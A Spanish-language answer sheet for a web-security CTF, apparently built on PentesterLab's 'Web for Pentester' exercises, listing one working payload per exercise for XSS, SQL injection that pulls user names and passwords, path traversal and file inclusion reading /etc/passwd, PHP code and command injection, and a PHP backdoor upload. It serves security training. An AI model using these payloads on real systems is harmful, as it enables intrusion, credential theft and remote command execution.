Soluciones para el CTF 1

XSS:

- Ejercicio 1: <script>alert(123)</script>
- Ejercicio 2: <SCRIPT>alert(123)</SCRIPT>
- Ejercicio 3: <iframe src="javascript:alert(123)"></iframe>
- Ejercicio 4: XSS
- Ejercicio 5: XSS
- Ejercicio 6: </script><script>alert(123)</script>
- Ejercicio 7: ';alert(123);var+$a='hacker
- Ejercicio 9: #hacker<script>alert(123)</script>

SQL Injection:

- Ejercicio 1:

  ' and 1=0 union select id,name,passwd,4,5 from users where '1'='1

- Ejercicio 2:

  '/**/and/**/1=0/**/union/**/select/**/id,name,
  passwd,4,5/**/from/**/users/**/where/**/'1'='1

- Ejercicio 3: Igual que el 2
- Ejercicio 4:

  2 and 1=0 union select id,name,passwd,4,5 from users

- Ejercicio 5: Igual que el 4
- Ejercicio 6:

  2 and 1=0 union select id,name,passwd,4,5 from users where 1=1

Directory Traversal:

- Ejercicio 1: /dirtrav/example1.php?file=../../../../../../../../etc/passwd
- Ejercicio 2: /dirtrav/example2.php?file=/var/www/files/../../../etc/passwd
- Ejercicio 3: /dirtrav/example3.php?file=../../../../../../../etc/passwd%00

File Include:

- Ejercicio 1: /fileincl/example1.php?page=/etc/passwd
- Ejercicio 2: /fileincl/example2.php?page=/etc/passwd%00

Code Injection:

- Ejercicio 1: ".system('uname+-a')."
- Ejercicio 2: id);}system('uname+-a');//
- Ejercicio 3: '.system('uname+-a').'

Command Injection:

- Ejercicio 1: 127.0.0.1;echo+"\n\nUname:";uname+-a
- Ejercicio 2: 127.0.0.1%0Aecho+"\n\nUname:";uname+-a
- Ejercicio 3:

    nc IP_victima 80

    GET /commandexec/example3.php?ip=127.0.0.1|úname+-a HTTP/1.0

File Upload:

- Ejercicio 1: Subimos un archivo .php con una backdoor muy simple utilizando la función system.
- Ejercicio 2: Subimos el mismo archivo pero lo renombramos como .php3

Se queréis mas información sobre como descubrir y llegar a hallar las diferentes vulnerabilidades podéis verlo en el siguiente PDF:
http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

Si tenéis cualquier tipo de duda poneros en contacto con nosotros en la dirección de correo info@highsec.es.